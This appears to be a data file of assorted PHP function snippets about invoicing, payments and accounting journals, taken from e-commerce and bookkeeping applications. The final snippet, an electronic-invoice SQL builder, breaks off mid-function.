{\n $this->logging->addDebug('Order can not be invoiced');\n //throw new \\Buckaroo\\Magento2\\Exception(__('Order can not be invoiced'));\n return false;\n }\n }\n\n $this->logging->addDebug(__METHOD__ . '|5|');\n\n /**\n * Only when the order can be invoiced and has not been invoiced before.\n */\n\n if (!$this->isGroupTransactionInfoType()) {\n $this->addTransactionData();\n }\n\n /**\n * @var \\Magento\\Sales\\Model\\Order\\Payment $payment\n */\n $payment = $this->order->getPayment();\n\n $invoiceAmount = 0;\n if (!empty($this->postData['brq_amount'])) {\n $invoiceAmount = floatval($this->postData['brq_amount']);\n }\n if (($payment->getMethod() == Giftcards::PAYMENT_METHOD_CODE)\n && $invoiceAmount != $this->order->getGrandTotal()\n ) {\n $this->setReceivedPaymentFromBuckaroo();\n\n $payment->registerCaptureNotification($invoiceAmount, true);\n $payment->save();\n\n $receivedPaymentsArray = $payment->getAdditionalInformation(self::BUCKAROO_RECEIVED_TRANSACTIONS);\n\n if (!is_array($receivedPaymentsArray)) {\n return;\n }\n\n $payment->capture(); //creates invoice\n $payment->save();\n } elseif ($this->isPayPerEmailB2BModePushInitial) {\n $this->logging->addDebug(__METHOD__ . '|10|');\n $invoice = $this->order->prepareInvoice()->register();\n $invoice->setOrder($this->order);\n $this->order->addRelatedObject($invoice);\n $payment->setCreatedInvoice($invoice);\n $payment->setShouldCloseParentTransaction(true);\n } else {\n $this->logging->addDebug(__METHOD__ . '|15|');\n //Fix for suspected fraud when the order currency does not match with the payment's currency\n $amount = ($payment->isSameCurrency()\n && $payment->isCaptureFinal($this->order->getGrandTotal())) ?\n $this->order->getGrandTotal() : $this->order->getBaseTotalDue();\n $payment->registerCaptureNotification($amount);\n $payment->save();\n }\n\n $this->logging->addDebug(__METHOD__ . '|20|');\n\n $transactionKey = $this->getTransactionKey();\n\n if (strlen($transactionKey) <= 0) {\n return true;\n }\n\n $this->logging->addDebug(__METHOD__ . '|25|');\n\n /** @var \\Magento\\Sales\\Model\\Order\\Invoice $invoice */\n foreach ($this->order->getInvoiceCollection() as $invoice) {\n $invoice->setTransactionId($transactionKey)->save();\n\n if (!empty($this->postData['brq_invoicenumber'])) {\n if ($this->groupTransaction->isGroupTransaction($this->postData['brq_invoicenumber'])) {\n $this->logging->addDebug(__METHOD__ . '|27|');\n $invoice->setState(2);\n }\n }\n\n if (!$invoice->getEmailSent() && $this->configAccount->getInvoiceEmail($this->order->getStore())) {\n $this->logging->addDebug(__METHOD__ . '|30|sendinvoiceemail');\n $this->invoiceSender->send($invoice, true);\n }\n }\n\n $this->logging->addDebug(__METHOD__ . '|35|');\n\n $this->order->setIsInProcess(true);\n $this->order->save();\n\n $this->dontSaveOrderUponSuccessPush = true;\n\n return true;\n }", "function invoices_count()\n {\n $this->company_db->from('tbl_invoice_header');\n return $this->company_db->count_all_results();\n }", "public function isIndependentCreditSupported();", "protected function _initInvoice($data)\r\n {\r\n $invoice = false;\r\n $itemsToInvoice = 0;\r\n $invoiceId = $this->getRequest()->getParam('invoice_id');\r\n $orderId = $this->getRequest()->getParam('order_id');\r\n if ($invoiceId) {\r\n $invoice = Mage::getModel('sales/order_invoice')->load($invoiceId);\r\n if (!$invoice->getId()) {\r\n $this->_getSession()->addError($this->__('The invoice no longer exists.'));\r\n return false;\r\n }\r\n } elseif ($orderId) {\r\n $order = $this->getOrder();\r\n /**\r\n * Check order existing\r\n */\r\n if (!$order->getId()) {\r\n $this->_getSession()->addError($this->__('The order no longer exists.'));\r\n return false;\r\n }\r\n /**\r\n * Check invoice create availability\r\n */\r\n if (!$order->canInvoice()) {\r\n $this->_getSession()->addError($this->__('The order does not allow creating an invoice.'));\r\n return false;\r\n }\r\n $savedQtys = $data['items'];\r\n $invoice = Mage::getModel('sales/service_order', $order)->prepareInvoice($savedQtys);\r\n if (!$invoice->getTotalQty()) {\r\n Mage::throwException($this->__('Cannot create an invoice without products.'));\r\n }\r\n }\r\n\r\n Mage::register('current_invoice', $invoice);\r\n return $invoice;\r\n }", "public function getDiscountTaxCompensationInvoiced();", "public function invoiceAction() {\n $this->chekcingForMarketplaceSellerOrNot ();\n /**\n * Get order Id\n * @var unknown\n */\n $orderId = $this->getRequest ()->getParam ( 'id' );\n /**\n * Getting order product ids\n */\n $orderPrdouctIds = Mage::helper ( 'marketplace/vieworder' )->getOrderProductIds ( Mage::getSingleton ( 'customer/session' )->getId (), $orderId );\n /**\n * Getting cancel order items\n */\n $cancelOrderItemProductIds = Mage::helper ( 'marketplace/vieworder' )->cancelOrderItemProductIds ( Mage::getSingleton ( 'customer/session' )->getId (), $orderId );\n\n /**\n * Getting the sonfiguration for order manage.\n */\n $orderStatusFlag = Mage::getStoreConfig ( 'marketplace/admin_approval_seller_registration/order_manage' );\n /**\n * Check whether product id count is greater than one\n */\n if (count ( $orderPrdouctIds ) >= 1 && $orderStatusFlag == 1) {\n $order = Mage::getModel ( 'sales/order' )->load ( $orderId );\n $itemsarray = $itemsArr = array ();\n /**\n * prepare invoice items\n */\n foreach ( $order->getAllItems () as $item ) {\n $qty = 0;\n /**\n * Prepare invoice qtys\n */\n $itemProductId = $item->getProductId ();\n $itemId = $item->getItemId ();\n /**\n * check whether item is in array\n */\n if (in_array ( $itemProductId, $orderPrdouctIds ) && ! in_array ( $itemProductId, $cancelOrderItemProductIds )) {\n $itemsArr [] = $itemId;\n /**\n * Qty ordered for that item\n */\n $qty = $item->getQtyOrdered () - $item->getQtyInvoiced ();\n }\n $itemsarray [$itemId] = $qty;\n }\n\n try {\n /**\n * Create invoice\n */\n if ($order->canInvoice ()) {\n /**\n * Generate invoice for shippment.\n */\n Mage::getModel ( 'sales/order_invoice_api' )->create ( $order->getIncrementId (), $itemsarray, '', 1, 1 );\n\t\t Mage::getModel ( 'marketplace/order' )->updateSellerOrderItemsBasedOnSellerItems ( $itemsArr, $orderId, 1 );\n\t\t $order->setStatus('processing');\n\t\t $order->save();\n /**\n * add success message\n */\n Mage::getSingleton ( 'core/session' )->addSuccess ( $this->__ ( 'The invoice has been created.' ) );\n }\n $this->_redirect ( 'marketplace/order/vieworder/orderid/' . $orderId );\n } catch ( Exception $e ) {\n Mage::getSingleton ( 'core/session' )->addError ( $this->__ ( $e->getMessage () ) );\n $this->_redirect ( 'marketplace/order/vieworder/orderid/' . $orderId );\n }\n } else {\n /**\n * Checkk the permission for generate invoice.\n */\n Mage::getSingleton ( 'core/session' )->addError ( $this->__ ( 'You do not have permission to access this page' ) );\n $this->_redirect ( 'marketplace/order/manage' );\n return false;\n }\n }", "function get_refund_or_order()\n{\n\t// Fail\n}", "public function test_filler_candidates()\n {\n $stock = $this->generateStock();\n $order = \\App\\Order::find(1);\n\n $candidates = $this->orders_service->getFillerCandidates($order, $stock);\n\n $this->assertCount(7, $candidates);\n }", "public function testCustomerInvoicesV2Print()\n {\n }", "public function payInvoice(){\n $data = axios();\n if( ($data['payTotal'] > 0) && $data['payInvoice'] != 0):\n $response = $this->credits->addPayInvoice($data);\n echo json_encode($response); \n endif; \n }", "public function getBaseSubtotalInvoiced();", "public function getDiscountRefunded();", "abstract function has_paid_plan();", "public function journal() {\n global $_lib, $accounting;\n\n if(is_array($this->iteratorH)) {\n $this->Journaled = 1; //#So that we immideately list the journaled vouchers\n\n foreach($this->iteratorH as $InvoiceO) {\n\n if($InvoiceO->Journal) {\n\n $countjournaled++;\n\n //#TODO: Check Payment means for codes 10, 42, 48 - and change the journaling accorging to this.\n $VoucherH = array();\n $VoucherH['voucher_ExternalID'] = $InvoiceO->ExternalID;\n\n if ($accounting->is_valid_accountperiod($InvoiceO->Period, $_lib['sess']->get_person('AccessLevel'))) {\n $VoucherH['voucher_VoucherPeriod'] = $InvoiceO->Period;\n }\n else {\n $first_open_period = $accounting->get_first_open_accountingperiod();\n if ($first_open_period > $InvoiceO->Period) { // since periods are 0 preceded we can use normal string comparison\n // first open period is later then Invoice0->Period, so use it\n $VoucherH['voucher_VoucherPeriod'] = $first_open_period;\n } else { // use last open period instead\n $last_open_period = $accounting->get_last_open_accountingperiod();\n $VoucherH['voucher_VoucherPeriod'] = $last_open_period;\n }\n }\n\n $VoucherH['voucher_VoucherDate'] = $InvoiceO->InvoiceDate;\n $VoucherH['voucher_DueDate'] = $InvoiceO->DueDate;\n $VoucherH['voucher_EnableAutoBalance'] = 0;\n $VoucherH['voucher_AddedByAutoBalance'] = 0;\n $VoucherH['voucher_VoucherType'] = $InvoiceO->VoucherType;\n $VoucherH['voucher_AutoKID'] = 0; //#Information updated automatically from KID information\n\n //$InvoiceO->DocumentCurrencyCode = 'EUR'; //DELETE\n\n //#Foreign currency\n $TotCustPrice = $InvoiceO->TotalCustPrice;\n if ($InvoiceO->DocumentCurrencyCode != exchange::getLocalCurrency()) {\n $TotCustPrice = exchange::convertToLocal($InvoiceO->DocumentCurrencyCode, $InvoiceO->TotalCustPrice);\n $VoucherH['voucher_ForeignCurrencyID'] = $InvoiceO->ForeignCurrencyID; //$InvoiceO->DocumentCurrencyCode;\n $VoucherH['voucher_ForeignAmount'] = (float)abs($InvoiceO->ForeignAmount); //abs($InvoiceO->TotalCustPrice);\n $VoucherH['voucher_ForeignConvRate'] = (float)$InvoiceO->ForeignConvRate; //exchange::getConversionRate($InvoiceO->DocumentCurrencyCode);\n }\n\n if($InvoiceO->TotalCustPrice < 0)\n $VoucherH['voucher_AmountIn'] = abs($InvoiceO->TotalCustPrice);\n else\n $VoucherH['voucher_AmountOut'] = abs($InvoiceO->TotalCustPrice);\n\n $VoucherH['voucher_Active'] = 1;\n $VoucherH['voucher_Description'] = \"\";\n # From incoming invoice ID\n $VoucherH['voucher_AutomaticReason'] = \"Fra innk faktura ID: \" . $InvoiceO->ID;\n\n $VoucherH['voucher_KID'] = $InvoiceO->KID;\n $VoucherH['voucher_InvoiceID'] = $InvoiceO->InvoiceNumber;\n $VoucherH['voucher_AccountPlanID'] = $InvoiceO->SupplierAccountPlanID;\n\n //#We can not guarantee that the reserved JournalIDs is held, so we have to check before really registering the voucher\n list($InvoiceO->JournalID) = $this->accounting->get_next_available_journalid(array('available' => true, 'update' => true, 'type' => $InvoiceO->VoucherType, 'reuse' => false, 'from' => 'Invoicein voucher'));\n\n $VoucherH['voucher_JournalID'] = $InvoiceO->JournalID;\n // if amount is 0 then the journal is not created and should be null\n if ($InvoiceO->TotalCustPrice == 0) unset($VoucherH['voucher_JournalID']);\n //#$VoucherH['voucher_JournalID'] = $InvoiceO->JournalID;\n\n //#Update the voucherID back to the incoming invoice\n\n //#print_r($VoucherH);\n $this->accounting->insert_voucher_line(array('post' => $VoucherH, 'accountplanid' => $VoucherH['voucher_AccountPlanID'], 'VoucherType'=> $InvoiceO->VoucherType, 'comment' => 'Fra invoicein'));\n\n $invoice_line_sum = 0;\n\n // Allowances/Charges on invoice\n $query_invoice_allowance_charge = \"select iac.*, ac.DepartmentID, ac.ProjectID from invoiceallowancecharge iac left join allowancecharge ac on iac.AllowanceChargeID=ac.AllowanceChargeID where InvoiceID = '$InvoiceO->ID' and InvoiceType = 'in'\";\n $result_invoice_allowance_charge = $_lib['db']->db_query($query_invoice_allowance_charge);\n\n while ($acrow = $_lib['db']->db_fetch_object($result_invoice_allowance_charge)) {\n $query = \"select a.MotkontoResultat1 as InAccountPlanID from accountplan a where a.AccountPlanID = \" . $InvoiceO->SupplierAccountPlanID;\n $invoiceallowancecharge = $_lib['storage']->get_row(array('query' => $query));\n\n $VoucherH['voucher_AccountPlanID'] = $invoiceallowancecharge->InAccountPlanID;\n $VoucherH['voucher_AmountIn'] = 0;\n $VoucherH['voucher_AmountOut'] = 0;\n $VoucherH['voucher_Vat'] = $acrow->VatPercent;\n $VoucherH['voucher_VatID'] = $acrow->VatID;\n $VoucherH['voucher_Description'] = $acrow->AllowanceChargeReason;\n $VoucherH['voucher_DepartmentID'] = $acrow->DepartmentID;\n $VoucherH['voucher_ProjectID'] = $acrow->ProjectID;\n\n $TotalPrice = $acrow->Amount * ((100 + $acrow->VatPercent) / 100);\n $TotalPrice = $TotalPrice * (($acrow->ChargeIndicator == 1) ? 1 : -1);\n\n $invoice_line_sum += $TotalPrice;\n\n if($TotalPrice > 0) {\n $VoucherH['voucher_AmountIn'] = abs($TotalPrice);\n $VoucherH['voucher_AmountOut'] = 0;\n }\n else {\n $VoucherH['voucher_AmountOut'] = abs($TotalPrice);\n $VoucherH['voucher_AmountIn'] = 0;\n }\n\n $this->accounting->insert_voucher_line(array('post' => $VoucherH, 'accountplanid' => $VoucherH['voucher_AccountPlanID'], 'VoucherType'=> $InvoiceO->VoucherType, 'comment' => 'Fra fakturabank'));\n }\n\n //####################################################################################\n //#Each line has a different Vat - counterpart accountplan is from supplier\n $query_invoiceline = \"select il.* from invoiceinline as il where il.ID='$InvoiceO->ID' and il.Active <> 0 order by il.LineID asc\";\n //#print \"query_invoiceline\" . $query_invoiceline . \"<br>\\n\";\n $result2 = $_lib['db']->db_query($query_invoiceline);\n\n $lines = array();\n\n while ($line = $_lib['db']->db_fetch_object($result2)) {\n $lines[] = $line;\n }\n\n $num_lines = count($lines);\n\n for ($i = 0; $i < $num_lines; $i++) {\n $line = $lines[$i];\n\n $last_line = ($i == $num_lines - 1) ? true : false;\n\n $VoucherH['voucher_AmountIn'] = 0;\n $VoucherH['voucher_AmountOut'] = 0;\n $VoucherH['voucher_Vat'] = '';\n $VoucherH['voucher_Description'] = '';\n $VoucherH['voucher_AccountPlanID'] = 0;\n\n //#Motkonto resultat.\n $VoucherH['voucher_AccountPlanID'] = $line->AccountPlanID;\n if($line->IsOnlyTax) {\n $VoucherH['voucher_AccountPlanID'] = 2710;\n }\n $line_accountplan = accounting::get_accountplan_object($VoucherH['voucher_AccountPlanID']);\n\n $query = \"select sum(if(ChargeIndicator = 1, Amount, -Amount)) as sum from invoicelineallowancecharge where InvoiceType = 'in' and AllowanceChargeType = 'line' and InvoiceLineID = \" . $line->LineID;\n $result = $_lib['storage']->get_row(array('query' => $query));\n $sum_line_allowance_charge = $result->sum;\n\n $TotalPrice = round($line->TotalWithTax, 2);\n $TotalForeignPrice = round($line->ForeignAmount, 2);\n\n $invoice_line_sum += $TotalPrice;\n\n if ($last_line) {\n $TotalPrice += ($InvoiceO->TotalCustPrice - $invoice_line_sum);\n }\n\n if($TotalPrice > 0) {\n $VoucherH['voucher_AmountIn'] = abs($TotalPrice);\n $VoucherH['voucher_AmountOut'] = 0;\n }\n else {\n $VoucherH['voucher_AmountOut'] = abs($TotalPrice);\n $VoucherH['voucher_AmountIn'] = 0;\n }\n\n $VoucherH['voucher_ForeignAmount'] = abs($TotalForeignPrice);\n\n $VoucherH['voucher_Vat'] = $line->Vat;\n //#$VoucherH['voucher_VatID'] = $line->VatID; Has to be mapped properly\n if($line->QuantityDelivered > 0) {\n $VoucherH['voucher_Description'] .= round($line->QuantityDelivered,2) . 'x';\n }\n\n if($line->ProductNumber) {\n $VoucherH['voucher_Description'] .= $line->ProductNumber . ':';\n }\n\n if($line->ProductName) {\n $VoucherH['voucher_Description'] .= $line->ProductName;\n }\n\n // If value(car/department/project) sent use that, otherwise use defaults from this line's accountplan (if set and enabled)\n if($line->CarID) {\n $VoucherH['voucher_CarID'] = $line->CarID;\n } elseif (!empty($line_accountplan) && $line_accountplan->EnableCar == 1 && isset($line_accountplan->CarID)) {\n $VoucherH['voucher_CarID'] = $line_accountplan->CarID;\n }\n else {\n unset($VoucherH['voucher_CarID']);\n }\n if($line->DepartmentID) {\n $VoucherH['voucher_DepartmentID'] = $line->DepartmentID;\n } elseif (!empty($line_accountplan) && $line_accountplan->EnableDepartment == 1 && isset($line_accountplan->DepartmentID)) {\n $VoucherH['voucher_DepartmentID'] = $line_accountplan->DepartmentID;\n }\n else {\n unset($VoucherH['voucher_DepartmentID']);\n }\n if($line->ProjectID) {\n $VoucherH['voucher_ProjectID'] = $line->ProjectID;\n } elseif (!empty($line_accountplan) && $line_accountplan->EnableProject == 1 && isset($line_accountplan->ProjectID)) {\n $VoucherH['voucher_ProjectID'] = $line_accountplan->ProjectID;\n }\n else {\n unset($VoucherH['voucher_ProjectID']);\n }\n\n $in_or_out = ($line->TotalWithTax > 0 ? 'in' : 'out');\n\n $this->accounting->insert_voucher_line(array('post' => $VoucherH, 'accountplanid' => $VoucherH['voucher_AccountPlanID'], 'VoucherType'=> $InvoiceO->VoucherType, 'comment' => 'Fra fakturabank', 'in_or_out' => $in_or_out));\n }\n\n /* here a fetch from the fakturaBank table is needed that fixes the reason lines, for example: cahs from cash register(kontant fra kasse) and similar */\n\n\n // Creating vouchers for reconsiliation reasons\n $fb_query = sprintf(\"SELECT * FROM fbdownloadedinvoicereasons WHERE LodoID = %d\", $InvoiceO->ID);\n\n $fb_rows = $_lib['db']->db_query($fb_query);\n $original_accountplanid = $InvoiceO->SupplierAccountPlanID;\n\n while($fb_row = $_lib['db']->db_fetch_object($fb_rows)) {\n $reasonID = $fb_row->ClosingReasonId;\n $reconciliation_amount = $fb_row->Amount;\n\n $VoucherH['voucher_AmountIn'] = 0;\n $VoucherH['voucher_AmountOut'] = 0;\n $VoucherH['voucher_Vat'] = '';\n $VoucherH['voucher_Description'] = '';\n $VoucherH['voucher_AccountPlanID'] = 0;\n\n if($reasonID) {\n $VoucherH['voucher_Description'] = sprintf(\n // Reconciliation from reason __\n 'Avstemt med årsak %d',\n $reasonID\n );\n\n $reasonQuery = sprintf(\n \"SELECT r.*\n FROM fakturabankinvoicereconciliationreason r,\n accountplan a\n WHERE r.FakturabankInvoiceReconciliationReasonID = %d\n AND r.AccountPlanID = a.AccountPlanID\",\n $reasonID\n );\n\n $reason_row = $_lib['storage']->get_row(array('query' => $reasonQuery, 'debug' => true));\n if(!$reason_row) {\n # Something's wrong with reconciliation reason _\n $_lib['message']->add(sprintf(\"Noe galt med reconciliationreason %d\", $reasonID));\n }\n else {\n $VoucherH['voucher_AccountPlanID'] = $reason_row->AccountPlanID;\n\n if($reconciliation_amount > 0) {\n $VoucherH['voucher_AmountIn'] = abs($reconciliation_amount);\n $VoucherH['voucher_AmountOut'] = 0;\n }\n else {\n $VoucherH['voucher_AmountOut'] = abs($reconciliation_amount);\n $VoucherH['voucher_AmountIn'] = 0;\n }\n\n # From fakturabank - reconciliation\n $this->accounting->insert_voucher_line(\n array(\n 'post' => $VoucherH,\n 'accountplanid' => $VoucherH['voucher_AccountPlanID'],\n 'VoucherType'=> $InvoiceO->VoucherType,\n 'comment' => 'Fra fakturabank - Reconciliation'\n )\n );\n\n /* motpost */\n $VoucherH['voucher_AccountPlanID'] = $original_accountplanid;\n $tmp = $VoucherH['voucher_AmountIn'];\n $VoucherH['voucher_AmountIn'] = $VoucherH['voucher_AmountOut'];\n $VoucherH['voucher_AmountOut'] = $tmp;\n\n # From fakturabank - reconciliation\n $this->accounting->insert_voucher_line(\n array(\n 'post' => $VoucherH,\n 'accountplanid' => $VoucherH['voucher_AccountPlanID'],\n 'VoucherType'=> $InvoiceO->VoucherType,\n 'comment' => 'Fra fakturabank - Reconciliation'\n )\n );\n }\n }\n }\n\n\n //# If VatID missing (which it always will be here), and we have accountplanid, and\n //# InvoiceO->InvoiceDate != \"\", then\n //# get VatID from account plan. This is suboptimal since we do not know if VatID\n //# matches Vat percentage from last invoiceinline, but that will have to be the\n //# simplification to live with for now, because of time constraints.\n if (!isset($VoucherH['voucher_VatID']) || $VoucherH['voucher_VatID'] === \"\" || is_null($VoucherH['Voucher_VatID'])) {\n\n if (isset($VoucherH['voucher_AccountPlanID']) && is_numeric($VoucherH['voucher_AccountPlanID']) &&\n $InvoiceO->InvoiceDate != \"\") {\n\n $account_vatid_query = \"SELECT VatID from accountplan WHERE AccountPlanID = '\" . $VoucherH['voucher_AccountPlanID'] . \"'\";\n\n if ($result = $_lib['storage']->db_query3(array('query' => $account_vatid_query))) {\n\n $account_vatid_obj = $_lib['storage']->db_fetch_object($result);\n if (!empty($account_vatid_obj)) {\n $VAT = $accounting->get_vataccount_object(array('VatID' => $account_vatid_obj->VatID, 'date' => $InvoiceO->InvoiceDate));\n $VoucherH['voucher_VatID'] = $VAT->VatID;\n }\n\n }\n\n }\n\n }\n\n $this->accounting->set_journal_motkonto(array('post' => $VoucherH, 'VoucherType' => $VoucherH['voucher_VoucherType']));\n $this->accounting->correct_journal_balance($VoucherH, $VoucherH['voucher_JournalID'], $VoucherH['voucher_VoucherType']);\n $this->accounting->delete_credit_debit_zero_lines($VoucherH['voucher_JournalID'], $VoucherH['voucher_VoucherType']);\n\n //####################################################################################\n //#Update invoicein to journaled\n $dataH = array();\n $dataH['ID'] = $InvoiceO->ID;\n $dataH['JournalID'] = $InvoiceO->JournalID;\n $_lib['storage']->store_record(array('data' => $dataH, 'table' => 'invoicein', 'debug' => false));\n\n //####################################################################################\n //#Update bankaccount on accountplan (for later usage in direct remittance(direkte remittering) - could be punched to -\n //#Could be erronus if the same accountplan has more than one bank account. We just ignore it for now.\n if($InvoiceO->BankAccount) {\n $dataH = array();\n $dataH['DomesticBankAccount'] = $InvoiceO->BankAccount;\n $dataH['AccountPlanID'] = $InvoiceO->SupplierAccountPlanID;\n $_lib['storage']->store_record(array('data' => $dataH, 'table' => 'accountplan', 'debug' => false));\n }\n }\n else {\n # Invoice is bookkept\n print \"Fakturaen er bilagsf¿rt<br>\";\n }\n }\n\n # this weird logic to make theNewlyJournaled on top and in correct order\n $theNewlyJournaled = $this->iteratorH;\n $this->iteratorH = array();\n\n $this->fill(array()); //#Refresh the list after a new query - because lots of paramters get updated when journaling.\n $this->iteratorH = array_merge($this->iteratorH, $theNewlyJournaled);\n\n # __ invoices have been bookkept\n $_lib['message']->add(\"$countjournaled fakturaer er bilagsf&oslash;rt\");\n }\n }", "function enhanced_invoice($order_id, $end = 0){\n $order = $this->order_model->get($order_id);\n $order_type = $this->order_model->get_order_type($order->order_type);\n $od = $this->order_details_model->get_order_details($order_id, true);\n\n $inv = array();\n $total = 0;\n foreach ($od as $key) {\n $inv[$key->id]['name'] = $key->arabic;\n $inv[$key->id]['eng'] = $key->eng;\n $inv[$key->id]['price'] = $key->price;\n $inv[$key->id]['qty'] = $key->quantity;\n $inv[$key->id]['total_line'] = $key->quantity*$key->price;\n $total += $inv[$key->id]['total_line'];\n }\n //$items_table = to_table($inv);\n\n $this->load->helper('orders');\n $s = get_service($order->order_type);\n\n $service = get_service_value($total, $s);\n $grand_total = $total+$service;\n \n $this->data['grand_total'] = $grand_total;\n $this->data['service_value'] = ($service)? $service : 0;\n $this->data['ratio'] = $s;\n $this->data['total'] = $total;\n $this->data['table'] = $this->order_model->get_table($order->customer_id);\n $this->data['order'] = $order;\n $this->data['order_type'] = $order_type;\n $this->data['items_table'] = $inv ;\n\n $this->check_order($order_type, $this->data);\n\n\n $invID = str_pad($order->id, 5, '0', STR_PAD_LEFT); \n\n$header = $this->load->view('app/orders/invoice/header',$this->data, true);\n$items = $this->load->view('app/orders/invoice/items', $this->data, true);\n$footer = $this->load->view('app/orders/invoice/footer',$this->data, true);\n\n $od = $this->order_details_model->get_count($order_id);\n\n\n $format = $this->get_pdf_format($od);\n\n $this->load->library('pdf', array(\n 'format'=>$format, \n 'title'=>'Club21 Cafe & Restaurant', \n 'string'=>'Invoice Details', \n 'footer'=>false\n ));\n //$this->pdf->lib_setTitle('Invoice Details');\n $this->pdf->lib_Cell(0, 10, \"$od lines [ $format ] $order_type->name\", 1, 1, 'C');\n\n $y_head = $this->pdf->lib_getY();\n $this->pdf->lib_writeHTMLCell(0, 0, 0, $y_head, $header, 1, 0, false, true, '', true);\n $y_items = $y_head + $this->pdf->lib_getLastH();\n $this->pdf->lib_writeHTMLCell(0, 0, 0, $y_items, $items, 0, 0, false, true, '', true);\n $y_foot = $y_items + $this->pdf->lib_getLastH();\n $this->pdf->lib_writeHTMLCell(0, 0, 0, $y_foot, $footer, 0, 0, false, true, '', true);\n\n\n $this->pdf->lib_output(APPPATH .\"invoice/inv_$invID.pdf\");\n $this->pdf_image(APPPATH .\"invoice/inv_$invID.pdf\"); \n $this->load->library('ReceiptPrint'); \n $this->receiptprint->connect('192.168.0.110', 9100);//any ip and port \n $this->receiptprint->print_image(APPPATH .\"invoice/inv_$invID.pdf.$this->ext\"); \n//unlink(APPPATH .\"invoice/inv_$invID.pdf.$this->ext\");\n if($end == 1 )\n $this->end($order_id, $grand_total);\n $this->edit_order($order->id);\n\n }", "public function no_items()\n {\n }", "public function no_items()\n {\n }", "public function get_invoice()\n\t{\t\t\n\t\t$invoiceid = Input::get('invoiceid');\n\t\t$invoice_job = DB::table('tbl_invoices')->where('invoice_number','=',$invoiceid)->first();\n\t\tif(!empty($invoice_job))\n\t\t{\n\t\t\t$ser_id=$invoice_job->customer_id;\n\t\t\t$grand_total=$invoice_job->grand_total;\n\t\t\t$paid_amount=$invoice_job->paid_amount;\n\t\t\t$total=$grand_total - $paid_amount ;\n\t\t\treturn array($ser_id, $total);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn 01;\n\t\t}\n\t}", "function Generate($objInvoice, $objAccount)\n \t{\n \t\t\n \t}", "function XSAInvoicing($InvoiceNo, $orderno, $debtorno, $TypeInvoice, $tag, $serie, $folio, &$db)\n{\n\t$charelectronic='01';\n\t$charelectronicEmbarque='';\n\t$charelectronic=$charelectronic.'|'.$serie;\n\t$serieelect=$serie;\n\t//$serieelect=$TypeInvoice.'-'.$_SESSION['Tagref'];\n\t$folioelect=$folio;//$InvoiceNoTAG;\n\t//$folioelect=$InvoiceNo;\n\t$charelectronic=$charelectronic.'|'.$serieelect;\n\t$charelectronic=$charelectronic.'|'.$folioelect;\n\t// consulto datos de la factura\n\t$imprimepublico=0;\n\tif ($TypeInvoice == 11) {\n\t\t$tabla = 'notesorders';\n\t}else{\n\t\t$tabla = 'salesorders';\n\t}\n\t$SQLInvoice = \"SELECT replace(debtortrans.trandate,'-','/') as trandate,debtortrans.ovamount,debtortrans.ovdiscount,\n\t\t\tdebtortrans.ovfreight,debtortrans.ovgst,debtortrans.rate as cambio,\n\t\t\tdebtortrans.order_,debtortrans.invtext,\tdebtortrans.consignment,\n\t\t\tdebtortrans.id AS iddocto, debtortrans.type,\n\t\t\tdebtorsmaster.name,debtorsmaster.address1,debtorsmaster.address2,\n\t\t\tdebtorsmaster.address3,debtorsmaster.address4,debtorsmaster.address5,\n\t\t\tdebtorsmaster.address6,debtorsmaster.invaddrbranch,\n\t\t\tcustbranch.taxid as rfc,paymentterms.terms,salesorders.deliverto,\n\t\t\tsalesorders.deladd1,salesorders.deladd2,salesorders.deladd3,\n\t\t\tsalesorders.deladd4,salesorders.deladd5,salesorders.deladd6,\n\t\t\tsalesorders.customerref,salesorders.orderno,salesorders.orddate,\n\t\t\tlocations.locationname,\tshippers.shippername,custbranch.brname,\n\t\t\tcustbranch.braddress1,custbranch.braddress2,custbranch.braddress3,\n\t\t\tcustbranch.braddress4,custbranch.braddress5,custbranch.braddress6,\n\t\t\tcustbranch.brpostaddr1,custbranch.brpostaddr2,custbranch.brpostaddr3,\n\t\t\tcustbranch.brpostaddr4,custbranch.brpostaddr5,custbranch.brpostaddr6,\n\t\t\tsalesman.salesmanname,debtortrans.debtorno,debtortrans.branchcode,debtortrans.folio,\n\t\t\treplace(origtrandate,'-','/') as origtrandate,debtortrans.currcode,custbranch.branchcode,\n\t\t\tsalesorders.salesman,salesorders.UserRegister,custbranch.phoneno as telofi,\n\t\t\tsalesorders.placa, salesorders.serie,salesorders.kilometraje,salesorders.comments,debtortrans.ref1,\n\t\t\tsalesorders.ordertype,debtortrans.paymentname,debtortrans.nocuenta,\n\t\t\tcustbranch.brnumext, custbranch.brnumint,custbranch.specialinstructions,\n\t\t\ttags.typegroup,debtortrans.id\n\t\tFROM debtortrans \n\t\t\tleft join shippers on debtortrans.shipvia=shippers.shipper_id \n\t\t\tjoin tags on tags.tagref=debtortrans.tagref,\n\t\t\tdebtorsmaster,custbranch,\".$tabla.\" as salesorders ,\n\t\t\tsalesman,locations,paymentterms\n\n\t\tWHERE debtortrans.order_ = salesorders.orderno\n\n\t\tAND debtortrans.type=\".$TypeInvoice.\"\n\t\tAND debtortrans.transno=\" . $InvoiceNo . \"\n\t\tAND debtortrans.tagref=\" . $tag . \"\n\n\t\tAND debtortrans.debtorno=debtorsmaster.debtorno\n\t\tAND salesorders.paytermsindicator=paymentterms.termsindicator\n\t\tAND debtortrans.debtorno=custbranch.debtorno\n\t\tAND debtortrans.branchcode=custbranch.branchcode\n\t\tAND salesorders.salesman=salesman.salesmancode\n\t\tAND salesorders.fromstkloc=locations.loccode \";\n\tif ($_SESSION['UserID']=='admin') {\n\n\t\t//echo '<pre>sql:<br>'.$SQLInvoice.'<br>';\n\t}\n\t$Result=DB_query($SQLInvoice,$db);\n\tif (DB_num_rows($Result)>0) {\n\t\t$myrow = DB_fetch_array($Result);\n\t\t//impuestos federales\n\t\t$totretencionfederal=0;\n\t\t//$charelectronictaxslocal='|'.chr(13).chr(10);\n\t\t$qry = \"Select debtortranstaxesclient.*,sec_taxes.nametax from debtortranstaxesclient, sec_taxes\n\t\t\t\twhere debtortranstaxesclient.idtax = sec_taxes.idtax\n\t\t\t\tAND sec_taxes.typetax=1\n\t\t\t\tand debtortranstaxesclient.iddoc = \".$myrow['id'];\n\t\t\t\n\t\t$rs = DB_query($qry,$db);\n\t\t$totalImpuestosLocales=0;\n\t\tif (DB_num_rows($rs) > 0){\n\t\t\t$charelectronictaxsfederal='';\n\t\t\t$charelectronictaxsfederalini='|'.chr(13).chr(10).'06';\n\t\t\twhile ($regs = 